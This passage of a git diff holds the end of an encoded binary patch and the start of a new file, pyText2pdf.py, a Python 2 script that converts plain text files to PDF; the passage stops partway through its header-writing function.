z;Z~0#(JRCzZ*81>&|rc9??GGzoN5)96aVJGYCViFS)fgkp94S0vQ)G+>ku%E?~~IrG7I!%Usl zji2yeV1pkCT;)H%JHjQGq-Xz}hf_cdN|J^!tM7zKo%Npw#{@b)I%%N{)%p~sL6dZ` zp@23h$*W~lo6L*k^SW*`G6I)IWEKLb$8RDf0T+&|m#+$83}sf16-VG1{y0Kjn9kv> zKk`?be(90?_QFIb=4CA(cnD*h2`JKN>nCcp1nP+iM7&zVV(Z|sd~}ejPl}tQBo^_M zhFyz}T$oQtT+`b<7tJ9p*{jvXan5NDTFhW396i0}RotAaP-l?tnJpY3sVUZ)df2fr zm(R!c>>sF$2tZw>(}+@}P7!UxIcK1GXDBjWmgia8`-R>j1(?dLP62lxNlA%eCX{0c zXS$I*DP`bfYtFa~Iyb{>o{0NuBOX_Q80Q0F%K8ZzI9I{{v7t9|sziFv&u=<~(OES3 zdhE|UVTWo1ua~1p%~)|_FfljRvHJJ`TbmDCLiuMsWdy(loTI0}Ex!9GOlr%UPV?JJ z>@O`}ffbPjfaAfgYlh|j%`R?P12<_w7@Fl)Uk@>ipcjNvpavmlADQ%%zpZMbl2;~(Wu18Y2EDH{JU_wFV_*8Y_BCq& zzM7U9*Qq9)$x^&?_QtWLLYIR=Vo{Q`n0(%p&5yf;iul@KDj`lXD{5a<@r7E%FjSUP ziDJug>W06)xWRfiVcf3*v`zs{?G!w&`!6~q!ND%b?~)`g?FhZzxb z+(mHXL~-BSTe4FN_mWQ4ZM&7nS;8(T{*OAO6R(~nKGQ}x=3n3wUs+%GN>AE9c)cuG zH;+dHrtkypLvCus!uiU9I-Qwu&WAP}5FgAOI3iw1+?y`;`s4O3W~{> z>H|6cymid}+YyqXPDVwxUOGhh05qEP2soEa6$*L&wb)x-m8nRYZ-r_~?Q25p0~K%m zHm;)h9u``USN~RH2hce6rx8zK1ElekXr?H@`HjoXmyu8TK(QKl*$R`BM~7M@4p$>8 zaOY8FQ$%6QU|(JFYkdvK{OKUDh$OEuWQ2$4LhzjHd#G&5-b?QeDCytRmFej;t>XHL zy5W@2REtB@Oo6aD+VT9+=Jq;)ia(cz;!H)MY(pX6vc^B|@?UNQxJ$JNV0{XRlE<%5 zA~n9)?PJT7QV=Vrlf+=j1vuhk(5_m^xAH6rULV=1N}0-?c<73*I8tZNzZm}9V4N|f zBhO_vclPvuYo|!r3k?lIM{Y<~ToZ`Bt(_Z`v}6mS%mz+XW` zMu3$YqM7d z-vv2{@ITq>#4CS^N2C706vpx!(dc3C7fDG=8 z3-P9xke4?iliXX0wH}S`QG-j`_tch~!V1p;MJF^R?hrx7^g;|&W$l8w$9pGbi+au* zKjJ8bxVl;kQ(I=U#nzzh@h2djqvsMa7~Tk0=0oQV1tJy58#@EsPSHTQG|b)ViecZ`cxnv z__s!=oL7502$+t%6TkzZcGGB?V&VE=C{>_=BSfqdpOhq_PVxEtbL$Qo@&!$a#oy7G z5hhjyp$!U#$@cQ8(T}tgbAD*zJ#CiC_N2D6LRNC=ZQ^alWpFHdR%C z)0+jON0*@*z%y2ly`4bKM0nzU1oqVO8q6GlPYp0*yG6jE=$J}%J;31t)hJ?wqL!h6 z+Ar|ywge2@07k3}z*`9aY^Pe55cal)A2bP~)?lR06AGjnKX$NJYqJ2baT6|-*DMTwN+(Q-sv2n%R~cBW z^@2MfrX0QGIfkBq>tuXq>oI(uxK<@IbY#S`dCs43d`+kBcSBO#8FEX1RX(iZzuUn) z^LdRo9;VnKraBxNX=un-37bVZQA$x09_UFAV}zV671ZZi5t1YFd^4JW!%LHW|Dw3k z^~6v+Uy=PI;AN%gIU$#Se@_;N6V}0w$fvK+cC>SPTbh*2t4ik5V+7g;T67m6yBg zbnb;wMub82F;zJ4W@4)@OGJJj7?xCyz3PW?t;q@ZY9zc+-r!qGeN<;;BLsh*t>!N@V7o&Nlu3AY`GndUZtYO=Y!6|}G9v^ve{hnjeNosrNDhBY_QI<37 zDN%_Q6+<+1qlm7{;u#q;5;ueN|95OLpj}=C7X4|RLN*uS)AAyvfVu2IA4fQo0=hc- zm7-(mqZJx84VVSHFdRoszxKPK{rR8m^Z&?ZB;SK;q}68Iw$1^%(eB2N zH@G@3A1+Qz)C&5|syJ{Q!vn=d@+u_FlN6Welg5)viQoC74!#{WF1M_hD*47me5%aQ z_6h1;KAW1wMW-*p5p8M{=?N6S9hJ+&u|R64%8SA18_$ei@f6qV_e1s>afu-8-C;zW zDwKgqhZfIck)pc-2BaO>q|{)M8MbM)R&3%fm&Kv_kJQ?q#h0+TEB)Wxu0a(ys0ZaH zWwS2*@lTrn?lnW?V-nm3KE%K006tNBjZ(l>z)b=%hEm?ay_@s4$~?YJYrU%Onsrh&B{7N$~1d z#;Q(!p4`_5DXc%3h7$wGwuZV0P99I#*X`%Scp`8~C(>v~clo>sR9NqNCW8OClOu>T zkMcN}*wF^;d9_`f_P<7$LmI2R2Jj`5VCZ59&aE`4swkA2ahWU9TIb#ZUW}LUfE=0B zzUkvl;rjAvSPrwAb;2w0rkTHk6Ob8pW+GA8GKiwH$5uAq>98d69ec2>D1NsN-O6Tr2%u0MS@!QE;xm_ zw#IxqRMEXrYu2X}MuVXyF$_%$Q@|SrE}!xLWLM?*$*c$0$b$Yb&ZDg&QraTxp#E2pC3AdU@t?s7eN`D^QF8pRSj*-FjuWu)9IZQx zV3VOZfRS{-rA5kmSdHHchx(nlfeqMVfIj{IvJc^g_j!o?^#lwPz_0$_`Une{)j;qf zq-Bo)okjT(EVU+W>_bVk2Dn1^DSg#TM%B$H?h;y(bNun0us{)*Ea#1E$}F7q<^?x5%IR5B3_Iu4>X(Uf~NrTBAWI23q%+zp*eg^ke}lfNaDYZ z4>0#aCw-8V7$3YUM^ZsIiSq>TUDgI!F{(o}cZa1S?DIAw_?D1@R%B?9P?5Kna#O0i zQ2L^o(qz3NzL&1e>hBbT1U?R;TQGfD5CWv=h|-6J7m(c=4i-sYyYTzh(NRqvK2sJS z86c!Go_xQER^pgPE(@LYLR&f(v7iXKji=xR1;V3Swmx+lNG4>`Mbi*+=dyjX`B{+V zF}A(C&hOCjvx%&4-IMA(8IuQ?36|>YJzyxu&z}8X-ccR+F(;n|w;@V@oa!!uO|?vc zVqzEoO=!%5@d0~lE#{h0jxsYd6Uu4so$<%oLi$VwsOxKpC5XxAYXOcPQ3Vd|rb5oQ zat;dAi$GXM97Iq{bvmljCPjL4f95oS&*BpR`^MEA@QU?lfcO{S7QV|tGcUvhJ7=sb z^w*ZczGSCq+~AeqP;kw7X`zgn-XJml;Ppn8-wZ?@L&l%aECV&3&J0SW6(Ye$Fhh7v zPp%XHLs5i(-$whl;tu~fBT{O2!5spw_==9$z7=H%NEJH{dz<J4By1zc%derI!k_L zJ#Z$OBD=T3EITzympndDzl5erUFXl~|2l%wn->_t!3h+e)>xxd;HLd5pYp_TyAsA6 zLe+u2W4QE+%LNbImOv}$#qe`axGtR%-g=?7MQsUTgcovr{W|#=3u{4-9#oXN=%p1y z5;-pJsK)nAu+TrCko7iQmOY-b_dFf?-*$+UAQ!F|>RsBj*@o1a}X`w+f@E9p|`t6m@Xk4Bt=`PNHiH!l)a>QBwUH9H9h-^$vs} zszOo^hOZ56{+mUETM(39XahHd7?n6?=WG@sMV(5^$9IdkB+0o%0f%-CAh=@$G2==L zQd|@L^OW^339p%=^P~kmSpELXp>U=s>hzDAh-(!W{Nv=~thz$)mQCa>DB+Y3mpQ$Z z3L`M=S$~0GVOCER3}Qh)vs8NI7){`rIpUG%s#*75gQZH@#%JOKM}M6ME`9L@eI z&p!gjGx;Ej$~KhY+AwX2vK(}SPE6rHVxtM>-2{~oCVfSCz!wK4CXe7`>}Faalfe7J z$WX~_&z96%ni>%4rlB9HxjO(_`*aGRHD`YSt-bA>4S|}iBIQeJzDux88$ZuV+!c@+ z2VmX*;*Pgf*XNl`R9z7KO5Kh)tUp6$$z6WEy(xI6-j#obmnC-q)M{p)`tJN&VJGp0 z{2rnBi^ab{dJl_NCoW%(lVj$rbDeUN44WY(B~{8rG4Z^^6rAzMrsBib^@HS|vQqC6;M$LltAs8?XaN=6U0${qF@CH`Z>!X-1V{E3%Z zv{ZcNHOy(gq@XTg2 zWE!nPY*kh?vp*)aQdQkdEGc2?#h{ETK!k9o)4s|2_{&YozYzH& zT?W}9_BV&Rwqlsu*Dv>$up z2ztCZm2wnM-3&tBFg56SLtG)bF-cdb$j{D}LzHgb#kTq1`XLzLXBzF!@3P4IfQV5J zgm*<29(LH*Kl2{4-Puj(8J}SZ&n}Z8e4yn^?vZi841^~BL(M(#EOUi9m{vE40OgId z4e*}-R~NknL)elz#M|IUy#)xl|9jUbG>zm8Xn9F2BY zKCP4FhyUUqf%vqA$2^K3PzvzU8f4Nr6;ut|;&l5v8nq;}FQEU@y(Mb(o$Mmkus6M_ ztz7aJGn=rcwk7|PJFbQjn>jqWA0+Z!`twC!&hdZ$ z&yi_GU8R5O-Lz$YS4A#;_M71=?v6~Kdv2-d0;I+qG|^WE@S6SKyPfZvdqco{YYq+TYjUJ?slta!`kI|`nNgzy(J|6jI9j=@R20;NzTMfMBZ?hgWGX1r>-;k~4{ z$Pny_Id@-a3&G4aceRolBW~b&N=d6-7Q{5nwmm0U(k#=2>zl>w4}_10NhV zHKV=1+1!sGQH$hog&h-ah0Bh)%g?Kt@HTN^Qn6!9WKsF~cx;vrEL}H|;@<+JEAIZ|3dXhRGwe&z z=bwnF{cIC#md`I$u9M6H5jR3lX`pLiGX)1@2lrkoCxm$YBQ6byk?<(3Aa8AXc>r`D zrl1FZ$#@=3`a%LC4gl-MKB6qVY-zmL8tW&4WYciT+OWd8PL(7q4-c&S<`w;tr~Cff zkAQsmCeb`(B4+7Y&^%Y27j`fPhP(V)(9vaY_gzn)*^DsTroZ zHnSbi9`sxK$0sSjM}L9P3cTtB@gcI1+ZqP0)NrE7TI$Jv%-p+~2qBaY6%G{4cQ;HT ze2_yt6-Mj_V)FcYJ1vwVjcA>*-MReRt@IgA^{r)etWIIsZJk85KMO+`aQ&$q4?(|KCO51(`L&J2|W%o||-mHs{da1jXnk8SVS!xfb=vl}F3AAJ@hAw`8^ zEh@k7{&@UHr<{K0t8_KXoOZsK;Tb$$>Y@)rDFRHlDkK46G=|B5Sw)Uh^OEV2P1osl zq;^|U%N)2VSL~wT&wEdQZKmEY4v?Wr9@}_)D&n$AJ#D2w0|%ga8;S|W(yyb?{Lhps z%|{nfMbEfiA2GmKpv@?d zCpq4B49pS~Omua!b&hqu6`eAKc>_-hEPp*rf|$+JIuKTa(M*+Z{ENc~NM>d9J{!CL zx5KCzJYsMBN__SoE;$CB&^4X-QqAxPyc==}Wu@sHuU<(s4#b@;t~rl`wMP+yvDvf8 zP6$hdG#1YA1T_82(A2u>^Fqav@(QHhJO2?ZD0`{G$1w3DCDRIsHcSDO!v1wud@z4W zh?0W!O%kM)njYJaM)8Vl<=k1gIV@ZXAT3miT5jaS5TVoI1%u$zq2Y~M!E>wgZf@#CCend8o1(m+M6Suzb%{l=?>^y z2pn~-HXg2$1k+uvG--|P1k^+O|M-rooD^&Xom7hVwGg}u?kR5JZvCE0bX}^rNCNxm z*eXZ8xRLYF#PmGiKb3c#QB7v+I&>0|5|EKVsG)=rlsXtXMj)XC0tf^YRG1K&puiv^ zO{xlk5UM7W5SoGtgl3^jQz-#Puncvm7OH@#=fg8|@A+}ox#!$<*DdS*O2W7Eh4t;d z-~BxAex7$1%^hlFsYc*_5MHyuNIe*~I1-Z44@X?={@?oH6S@k5Bv=m@6~^i9PZtq< zI_Om4q?EDo;gqPidS9MI|2ZHs@7SiaU5#sLEegu*_5fho9J+d%? zPlh;_N{S9UhAWIOwx4cnPC*hNam+H`2xgn0(b|o)#)>S_JGMn%L4S=V*w_qilXHbk z9VC?d8wds(GkEZs*j+ZO8qk?gf8UG}EdWd8aMFCX-A{~{Fd=}kl%M&>gbv3KkE#Ih zM~>)lt$!{>rckszw;r+tLEGf%GV~NDm~G8+@5BbCzp9*2X%Osj`dZ zG81ht4v)WLXh3UhF0eU)*{`!>n|iE_?&?+z#Zn_sMA>M*ZQiV+ld8aE_A&(kD*s8W zC?Zo9zP6YW^ij}Ia|d!OST5i$1|utSRQA~S^`2&S)pg7i=<+Nel4!~%+vwoqJS;Q) zM#rpfN*`u-_l3`a3LaPTl5elJ0f)yWlq3}PJU2KOr6^NKG}IP!9D?* zFZN8E3Qf0!iJ44J3zyO`)EDjBVtG9hfbtdkhp>H2xsPq}tXKftX95-kM-CZ!XkRv3 zmis7Ar}0?XbC{c3^2O&aA-8}LQ($u@#STHTH{j|$aCtMUu?C|Qq1>v>X_4le^FFHG z61{D7=KC|^*~dkkv^7yYwMVoN#as1H$dUg}BGDmGA%F!&DkrbG$#NUJ=S z0|V@`eD8&P0@Hs4;a@*BC=QyLiPP~NQj2mKvHZNM&ZQWg+3Lx}OqeD1QP98hFPfH@ zVVqFUdN{pnLV9A`fF)lTST7|~4TSTtOl%=ocRDQzq0JdSZE?-wZ7Oe+M z#A@CZkhcQVud3;}2x)1RC4yq5(#`bvX94~T2kb=3In<Sem#*q1VH@|+d#%>} zCLesbz&B7U=^!AV3EH2LT17V6;ZM^UQiOOGh&S25vw!v=n_XDp6~l~DMQ`4@fesb> zeAN9kuCxN2AW}+@S^CFYr(U#Hq~^RkBe+cD$Kl5mD52heMGrcR*m~lfF}&p z(dKmX<@4{c!lZT4Prz@WLKifEUr8wPKUQ)?xFp>x1RKQUj(;}b@<+O6FwZWc5=LeT^%xLBa%q+Xr-8#z^P@f}r9Q<9?GxCZ7$PZ!Hw?a5A zI*%ABdGF|aWV%C-5kevmw1kgH1L!vp2SO(o5G!bJ(n7#)lUN_2e!X)HI0yTx`9$n7(Zs(t7nnuf3*O zb}i%XxE2yKJ(FyLkyWGxNvF1Hyf%(eXp9C~1bqdiP3>{OJGMFXlRk3)A~ebW zUZz##zw`2eqLV1n$daX54|q7#f5)?aQq|jH%{CQjH_5&FG_Sw+v-aOSaK-&t#nB)b zGYJD3xoAylLWha1+ChLK1P}ARFaF9ZJr_nb9aE_A4Y1b^vwJyI&j(&J9V+x)!%dS! zg>0UP^g~cJ=sLkoe8It9yXsS<_YB_ zvv4${>G7jn$dPk%`T0sEBuyD(*LHZmG^DcBP+ z;1of*Szy9nNSCMQLGYtRSawbPN6P+cVAS96gGK2BdAx1yIw|4F+VwZCdG=a4>9{yx zi|u&lTrpmYtu>q0G)XA-r?7rBfBS+$&0Mz_4QuIT*Xv3J!*oj&3xUIJwFZlchDy=K zD=Kcpv**xA6vXMN!qTmh=4oBmki0_@KI6)X5IDx|fO2Jch@*0`&H`Zj5?NpTl7~UJ z$4csJ-JUPTC%)fK=7st5IPmqDURJgzVxyx!N0 z;SWE_45Lo}KC^3K_2_l9<>D{5$cu3G_24fG%(sEYB_R)=cRp1poq~z|cBJS>@N0kdlU?<5jOsH?sOEABCQsF>liI$0I$s?y|Nk3K~yJOh9S zwJtI)QYz?rM93i|IzWXB0bW)@UB8+XcoYHHr0kr*1>8j!jDTr{u}3TvfOrw%=aWq? z@373q^T+O4_>;RtCk=u(Pgh!=B(%N#~6dNY6*K)sk?sMpOQl5@4 z^fHBoh{!md4vTn4%ceOdj>N}uFDVT0H0V;>Q;t01K;lDpKwt9y8os@o~MF?Nl^CeUqMlfr0dB1KG-7z!c3lHA0<7yn&h;l z`PER`QL5c1Pu!GA&UVFSV6UO_DTd;MC^zMVGnSvV5_M5uX!*^Z9NOh6NK=y#GJhP? z@sVS(BhIA?k(UXd`rraQY@vv*OWomD#(t#hcf5VzzWP>r^ZI<+$4_^i4Sq>_e6DGl zR1qm5Qq<*(dfNDp8Y5XoOX*DkidL$;ggTj*h2Qh5fVHoaG+3JNoSO?{w(^0dsRyI% z=Vo>|NfpD6%#6C|L!1#Kf8a_~0ml5K$;z^FoV#!Xosd2KY@|4{7MdCnx(sWY%q;gy zdptC1uNwvgJ)eUY*Mhr8!iFKL}xQAmubgb%}xAPsSmmfr8%DY%(fqD!U8HiAbP=qqX(M+g;Z9Ri3RJz>iOE`W0kgvUU5JyShbf%VXy z1ISR;R_r5e%LOCS)i!G*Zh(F0;l1Tb#n=`4S^x_rg!6AhJHRSTv)GCXdCLF;WP!va zxmM4QIKio_x-24(_tGsb+TPu0za4zik8qvJl*m$9L=?P~P*lY?#uQAZJqLvOI)E_$ z*XHxJfKLCv;A1)|G7;FgrOUG|`b!S+1L>#n96sTlC#G#i@G1h1TPdHWZ)GoPw@_rD zs$`fKlM|?3#&))hGpE?nr1l||+YK%IQ+YT`uE|lP4`8!}Ut$NQFzQ$|_|GpW9LLnc zD!z|J$)V#ua>fs(B8fLY=At$)@7)J+Q%pd9h&&F^XGsdmJk3z!_3PQRh1p*$6q=92 zhkD+pS%h5FXJovQ`a6FFnx@8p2&gpMie zjfr49wPuM$mlyiLG7V^T>`Pgq!w(69a57RdN8b&Jt}RV{Ci`?(?w+qZKML4~G?oDW z(BVxF>#&;<_e%B64V~F=hV-4qv>~$7M)&{KhB~-2YZ2Kgr#ejP#c`aiD3k5j?-@F6 zVGI60=%wydx*$krpB{$e_+E>343C7tGay)UwqdG@N=bm{W0%4cB;QN7w|jsAOZ0T) z4h_vBjoV|W*^s9!X|6U%a2L|gRTWRg;HjY$+zLd3r07Qg#8UCAtv_NQI#?} zYSP0QHGaVw<2sGGEBUXj!)yYT^pzR_r0bTF)?3xt?KL)i{y)_K=IXPf%e{X;y+*~Z zb&Kt{XV z!nHt^Od{NG3rk0eFWeetR+3)jOh5NXG^%9v)=NqXqEaRCgXnGnpD|*`z4)gUU*80Q zfF%-?ahwuz(0-Hkn>Pd-mgkM%urAFjL(d=B@{HFyE~hGq=3uyoLOd7elWX2O&&$?Q7xI(GD0%}@ z$TGVUR077-B-H@*)f^|@2sLg}023U|0GeAE5~pWMuB?7&NWxgD(|8DoJkj#B!w!L* z&7l;x5H5LT1}+ngjnMlB`Z}K{?%5xi`>JBwS;kR9&|r*TH{wk-SUay=}`@qI>#*F{japC zdHFK9)8{s;NHZtL+RF8IUm67`;5(ud{AC-2pj2N+_bSJk8PzwhFfkYhHC2M%O|lS0 ztQd>Dh0yNNgx-!zmWuR1*w~QB%wSOuG~>8Kw{Hw8c58T z=Pl*(YDfKcv}cnPs{^^oBIifKj^D5htd>}ooA}+2(`gp&x%yNF#YFWWS(9$Z#b?%m|G{sYxab8i+dLe8eU9g)Hi3PRJ8Lk zjJq&WBFC#E7=*poLse0MK4UFEY5RHH%GbH~{5kB`-+xc_Tfbz^+G+X^8x-LTSc-tM zK3x=W*-_h5_2lw;0fp6hi{1>JEsd$N=sXQDK8srR%ERDLD8A*eDj|%V87IEp|6_1F zmKt@HQ~9XUz1Hv<+t@N|zJgnhYH;R}g#+X4;;8W5>R**!`uOWjYx9T{#?yt*f5J^E z=?Og9jsYp6cacDu1}M3zdKkh*%64iE*N)oNO;IT|-MeAtDYTlLiXtC@hBFoGN&myS2+nb=FOHzhG~lonFNFVD>6hQBbxQBaem?o>=mUmqUOX=U)=;RC?#zSC*07$4A% z=QYL+=Yg^*elzT0zP0K;OYjsZSNx7+^BYF^W?ziHVj>2%Fj!Rm>A`F8cMtUx2xWPce7M7 zH91fWv~7f5IKtClW1`sqotp24S?jPF;6SgsNQ#dDqARH16r4i`LNU|g=5p!@_piyI zgT)M4J}l8>RL1Sib$lVM)Wxw5&do{J;=$%4DPFJ6n3k7I!$la*e7$UY+hUO2vdH!w z4C-gS4U_7k@jzBx+>A*IMTcnulqIn(DH?%O;KkH0fYkAgPqGt0 zj0}9yuYL#ptPbNIO$(*!EYc9nRi0#BL4&L_$s#E*PkJ~ zj;!GNYunc9LNC3V_>;w6Z6H=r!n_S1(+@roRFNdi&BX@Ml_y1Gky=}fDFBL zagv^^uQg6jSTA0YwcD)NeKt4}QTtSh-@Hwe--2yeAD0?l9D%Hvtva zIe}cF(1%8&sKe6ZufBn1KVLCCHAa3_D*Dc_&m(kD;doH4^RDfj`@wmFy$KM}! z!8bxt?U>PE=%tsEu-!%fUFh20VA$0%*Bl}eXI>86+c;Kc$Ks;`P-o&Rcl4Z0D|wHx IE%I&rFS^c$6#xJL literal 0 HcmV?d00001 diff --git a/bin/pyText2pdf.py b/bin/pyText2pdf.py new file mode 100644 index 0000000..940e65c --- /dev/null +++ b/bin/pyText2pdf.py @@ -0,0 +1,601 @@ +#! /usr/bin/env python +""" + pyText2Pdf - Python script to convert plain text files into Adobe + Acrobat PDF files with support for arbitrary page breaks etc. + + Version 2.0 + + Author: Anand B Pillai + +""" + +# Derived from http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/189858 + +import sys, os +import string +import time +import optparse +import re + +LF_EXTRA=0 +LINE_END='\015' +# form feed character (^L) +FF=chr(12) + +ENCODING_STR = """\ +/Encoding << +/Differences [ 0 /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /space /exclam +/quotedbl /numbersign /dollar /percent /ampersand +/quoteright /parenleft /parenright /asterisk /plus /comma +/hyphen /period /slash /zero /one /two /three /four /five +/six /seven /eight /nine /colon /semicolon /less /equal +/greater /question /at /A /B /C /D /E /F /G /H /I /J /K /L +/M /N /O /P /Q /R /S /T /U /V /W /X /Y /Z /bracketleft +/backslash /bracketright /asciicircum /underscore +/quoteleft /a /b /c /d /e /f /g /h /i /j /k /l /m /n /o /p +/q /r /s /t /u /v /w /x /y /z /braceleft /bar /braceright +/asciitilde /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/dotlessi /grave /acute /circumflex /tilde /macron /breve +/dotaccent /dieresis /.notdef /ring /cedilla /.notdef +/hungarumlaut /ogonek /caron /space /exclamdown /cent +/sterling /currency /yen /brokenbar /section /dieresis +/copyright /ordfeminine /guillemotleft /logicalnot /hyphen +/registered /macron /degree /plusminus /twosuperior +/threesuperior /acute /mu /paragraph /periodcentered +/cedilla /onesuperior /ordmasculine /guillemotright +/onequarter /onehalf /threequarters /questiondown /Agrave +/Aacute /Acircumflex /Atilde /Adieresis /Aring /AE +/Ccedilla /Egrave /Eacute /Ecircumflex /Edieresis /Igrave +/Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve +/Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash +/Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn +/germandbls /agrave /aacute /acircumflex /atilde /adieresis +/aring /ae /ccedilla /egrave /eacute /ecircumflex +/edieresis /igrave /iacute /icircumflex /idieresis /eth +/ntilde /ograve /oacute /ocircumflex /otilde /odieresis +/divide /oslash /ugrave /uacute /ucircumflex /udieresis +/yacute /thorn /ydieresis ] +>> +""" + +INTRO="""\ +%prog [options] filename + +PyText2Pdf makes a 7-bit clean PDF file from any input file. + +It reads from a named file, and writes the PDF file to a file specified by +the user, otherwise to a file with '.pdf' appended to the input file. + +Author: Anand B Pillai.""" + + +class PyText2Pdf(object): + """ Text2pdf converter in pure Python """ + + def __init__(self): + # version number + self._version="1.3" + # iso encoding flag + self._IsoEnc=False + # formfeeds flag + self._doFFs=False + self._progname="PyText2Pdf" + self._appname = " ".join((self._progname,str(self._version))) + # default font + self._font="/Courier" + # default font size + self._ptSize=10 + # default vert space + self._vertSpace=12 + self._lines=0 + # number of characters in a row + self._cols=80 + self._columns=1 + # page ht + self._pageHt=792 + # page wd + self._pageWd=612 + # input file + self._ifile="" + # output file + self._ofile="" + # default tab width + self._tab=4 + # input file descriptor + self._ifs=None + # output file descriptor + self._ofs=None + # landscape flag + self._landscape=False + # Subject + self._subject = '' + # Author + self._author = '' + # Keywords + self._keywords = [] + # Custom regexp for page breaks + self._pagebreakre = None + + # marker objects + self._curobj = 5 + self._pageObs = [0] + self._locations = [0,0,0,0,0,0] + self._pageNo=0 + + # file position marker + self._fpos=0 + + def parse_args(self): + + """ Callback function called by argument parser. + Helps to remove duplicate code """ + + if len(sys.argv)<2: + sys.argv.append('-h') + + parser = optparse.OptionParser(usage=INTRO) + parser.add_option('-o','--output',dest='outfile',help='Direct output to file OUTFILE',metavar='OUTFILE') + parser.add_option('-f','--font',dest='font',help='Use Postscript font FONT (must be in standard 14, default: Courier)', + default='Courier') + parser.add_option('-I','--isolatin',dest='isolatin',help='Use ISO latin-1 encoding',default=False,action='store_true') + parser.add_option('-s','--size',dest='fontsize',help='Use font at PTSIZE points (default=>10)',metavar='PTSIZE',default=10) + parser.add_option('-v','--linespace',dest='linespace',help='Use line spacing LINESPACE (deault 12)',metavar='LINESPACE',default=12) + parser.add_option('-l','--lines',dest='lines',help='Lines per page (default 60, determined automatically if unspecified)',default=60, metavar=None) + parser.add_option('-c','--chars',dest='chars',help='Maximum characters per line (default 80)',default=80,metavar=None) + parser.add_option('-t','--tab',dest='tabspace',help='Spaces per tab character (default 4)',default=4,metavar=None) + parser.add_option('-F','--ignoreff',dest='formfeed',help='Ignore formfeed character ^L (i.e, accept formfeed characters as pagebreaks)',default=False,action='store_true') + parser.add_option('-P','--papersize',dest='papersize',help='Set paper size (default is letter, accepted values are "A4" or "A3")') + parser.add_option('-W','--width',dest='width',help='Independent paper width in points',metavar=None,default=612) + parser.add_option('-H','--height',dest='height',help='Independent paper height in points',metavar=None,default=792) + parser.add_option('-2','--twocolumns',dest='twocolumns',help='Format as two columns',metavar=None,default=False,action='store_true') + parser.add_option('-L','--landscape',dest='landscape',help='Format in landscape mode',metavar=None,default=False,action='store_true') + parser.add_option('-R','--regexp',dest='pageregexp',help='Regular expression string to determine page breaks (if supplied, this will be used to split text into pages, instead of using line count)',metavar=None) + parser.add_option('-S','--subject',dest='subject',help='Optional subject for the document',metavar=None) + parser.add_option('-A','--author',dest='author',help='Optional author for the document',metavar=None) + parser.add_option('-K','--keywords',dest='keywords',help='Optional list of keywords for the document (separated by commas)',metavar=None) + + + optlist, args = parser.parse_args() + # print optlist.__dict__, args + + if len(args)==0: + sys.exit('Error: input file argument missing') + elif len(args)>1: + sys.exit('Error: Too many arguments') + + self._ifile = args[0] + + d = optlist.__dict__ + if d.get('isolatin'): self._IsoEnc=True + if d.get('formfeed'): self._doFFs = True + if d.get('twocolumns'): self._columns = 2 + if d.get('landscape'): self._landscape = True + + self._font = '/' + d.get('font') + psize = d.get('papersize') + if psize=='A4': + self._pageWd=595 + self._pageHt=842 + elif psize=='A3': + self._pageWd=842 + self._pageHt=1190 + + fsize = int(d.get('fontsize')) + if fsize < 1: fsize = 1 + self._ptSize = fsize + + lspace = int(d.get('linespace')) + if lspace<1: lspace = 1 + self._vertSpace = lspace + + lines = int(d.get('lines')) + if lines<1: lines = 1 + self._lines = int(lines) + + chars = int(d.get('chars')) + if chars<4: chars = 4 + self._cols = chars + + tab = int(d.get('tabspace')) + if tab<1: tab = 1 + self._tab = tab + + w = int(d.get('width')) + if w<72: w=72 + self._pageWd = w + + h = int(d.get('height')) + if h<72: h=72 + self._pageHt = h + + # Very optional args + author = d.get('author') + if author: self._author = author + + subject = d.get('subject') + if subject: self._subject = subject + + keywords = d.get('keywords') + if keywords: + self._keywords = keywords.split(',') + + pagebreak = d.get('pageregexp') + if pagebreak: + self._pagebreakre = re.compile(pagebreak, re.UNICODE|re.IGNORECASE) + + outfile = d.get('outfile') + if outfile: self._ofile = outfile + + if self._landscape: + print 'Landscape option on...' + if self._columns==2: + print 'Printing in two columns...' + if self._doFFs: + print 'Ignoring form feed character...' + if self._IsoEnc: + print 'Using ISO Latin Encoding...' + + print 'Using font',self._font[1:],'size =', self._ptSize + + def writestr(self, str): + """ Write string to output file descriptor. + All output operations go through this function. + We keep the current file position also here""" + + # update current file position + self._fpos += len(str) + for x in range(0, len(str)): + if str[x] == '\n': + self._fpos += LF_EXTRA + try: + self._ofs.write(str) + except IOError, e: + print e + return -1 + + return 0 + + def convert(self): + """ Perform the actual conversion """ + + if self._landscape: + # swap page width & height + tmp = self._pageHt + self._pageHt = self._pageWd + self._pageWd = tmp + + if self._lines==0: + self._lines = (self._pageHt - 72)/self._vertSpace + if self._lines < 1: + self._lines=1 + + try: + self._ifs=open(self._ifile) + except IOError, (strerror, errno): + print 'Error: Could not open file to read --->', self._ifile + sys.exit(3) + + if self._ofile=="": + self._ofile = os.path.splitext(self._ifile)[0] + '.pdf' + + try: + self._ofs = open(self._ofile, 'wb') + except IOError, (strerror, errno): + print 'Error: Could not open file to write --->', self._ofile + sys.exit(3) + + print 'Input file=>',self._ifile + print 'Writing pdf file',self._ofile, '...' + self.writeheader() + self.writepages() + self.writerest() + + print 'Wrote file', self._ofile + self._ifs.close() + self._ofs.close() + return 0 + + def writeheader(self): + """Write the PDF header""" + + ws = self.writestr + + title = self._ifile + + t=time.localtime() + timestr=str(time.strftime("D:%Y%m%d%H%M%S", t)) + ws("%PDF-1.4\n") + self._locations[1] = self._fpos + ws("1 0 obj\n") + ws("<<\n") + + buf = "".join(("/Creator (", self._appname, " By Anand B Pillai )\n")) + ws(buf) + buf = "".join(("/CreationDate (", timestr, ")\n")) + ws(buf) + buf = "".join(("/Producer (", self._appname, "(\\251 Anand B Pillai))\n")) + ws(buf) + if self._subject: + title = self._subject + buf = "".join(("/Subject (",self._subject,")\n")) + ws(buf) + if self._author: + buf = "".join(("/Author (",self._author,")\n")) + ws(buf) + if self._keywords: + buf = "".join(("/Keywords (",' '.join(self._keywords),")\n")) + ws(buf) + + if title: + buf = "".join(("/Title (", title, ")\n")) + ws(buf) + + ws(">>\n") + 